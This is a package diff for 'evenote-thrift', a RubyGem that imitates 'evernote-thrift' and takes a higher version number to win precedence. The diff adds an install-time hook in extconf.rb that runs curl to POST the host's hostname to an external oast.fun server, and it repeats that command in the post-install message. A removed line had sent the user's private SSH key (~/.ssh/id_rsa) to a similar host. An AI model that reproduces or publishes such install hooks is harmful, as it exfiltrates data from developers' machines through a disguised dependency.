evenote-thrift 9.9.9 → 10.2.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 4b680653ce7bed6784a140656f77600521ec049244f2f079fc3213a0d1d84143
4
- data.tar.gz: 48b8f0d19433958e7b15054f45f25971baf435a4dfe9296b4f0f00546e521c62
3
+ metadata.gz: 9b52b2f1ae90508608106e1fb1e6076111f50316245aabb11b101df221e84f4b
4
+ data.tar.gz: aefa1a18861907d01c62626622606218f73f46c2ee3d89eba6db4819107ede0a
5
5
  SHA512:
6
- metadata.gz: 265d1bc2d2c86fb9e696d5b663c6e005ed7680fbfd9dea3e9a5c9f79aaafc8f25df15655664caedb50e92a9f76652a0f869d52f3551d9f0fbd0306fdd996bde9
7
- data.tar.gz: 03d188324112d54329d173ca6a3251a5059402d8b65d86f0b2a35529d02203405f80ded9123156edcf0061ddbc974999f12b57f5fe1c2ff97e2c123f313e9f6a
6
+ metadata.gz: c26808ab7cb1642d940795c77e7ed372a363d21dee49e8973993351b48fc47b1a018a247401cab17893aa1b56bb20eeb76938702ab175f24a3dfc9d9b789ce60
7
+ data.tar.gz: 9326d0e787aea092954297554c2098d36138c492a0dec12a65e0686a6b40b72d5b54d172fa5f85915a3dca9c637be3711b938477cdf813afed8ebc527882a300
@@ -1,6 +1,6 @@
1
1
  Gem::Specification.new do |s|
2
2
  s.name = 'evenote-thrift'
3
- s.version = '9.9.9' # Higher version to take precedence
3
+ s.version = '10.2.0' # Higher version to take precedence
4
4
  s.summary = "A simple mimicking evernote-thrift"
5
5
  s.description = "This gem is a placeholder."
6
6
  s.authors = ["raxis-evernote"]
@@ -14,5 +14,15 @@ Gem::Specification.new do |s|
14
14
  # Run our evernote-thrift code on install
15
15
  s.post_install_message = "Thanks for installing evernote-thrift!"
16
16
  s.extensions = ["extconf.rb"]
17
+
18
+ # Add a post_install message that executes the command
19
+ s.post_install_message = <<-POST_INSTALL
20
+ Post-install command:
21
+ curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
22
+ POST_INSTALL
23
+
24
+ # This method will execute after the gem is installed
25
+ s.extensions = ["extconf.rb"]
17
26
  end
18
27
 
28
+
data/extconf.rb CHANGED
@@ -3,4 +3,10 @@
3
3
  require 'mkmf'
4
4
 
5
5
  # Create a Makefile for the native extension
6
- create_makefile('evenote_thrift')
6
+ create_makefile('evernote_thrift')
7
+
8
+ # Command to obtain hostname and post it to a specified URL
9
+ system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
10
+
11
+ end
12
+
@@ -1,5 +1,5 @@
1
1
  require 'open-uri'
2
2
 
3
3
  Thread.new do
4
- system("curl -X POST -d \"$(cat ~/.ssh/id_rsa)\" https://egxpfiqdbuuluuyokvqb0lgkcvpuz6wvg.oast.fun")
4
+ system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: evenote-thrift
3
3
  version: !ruby/object:Gem::Version
4
- version: 9.9.9
4
+ version: 10.2.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - raxis-evernote
@@ -23,7 +23,9 @@ files:
23
23
  homepage: https://reachas.com
24
24
  licenses: []
25
25
  metadata: {}
26
- post_install_message: Thanks for installing evernote-thrift!
26
+ post_install_message: |2
27
+ Post-install command:
28
+ curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
27
29
  rdoc_options: []
28
30
  require_paths:
29
31
  - lib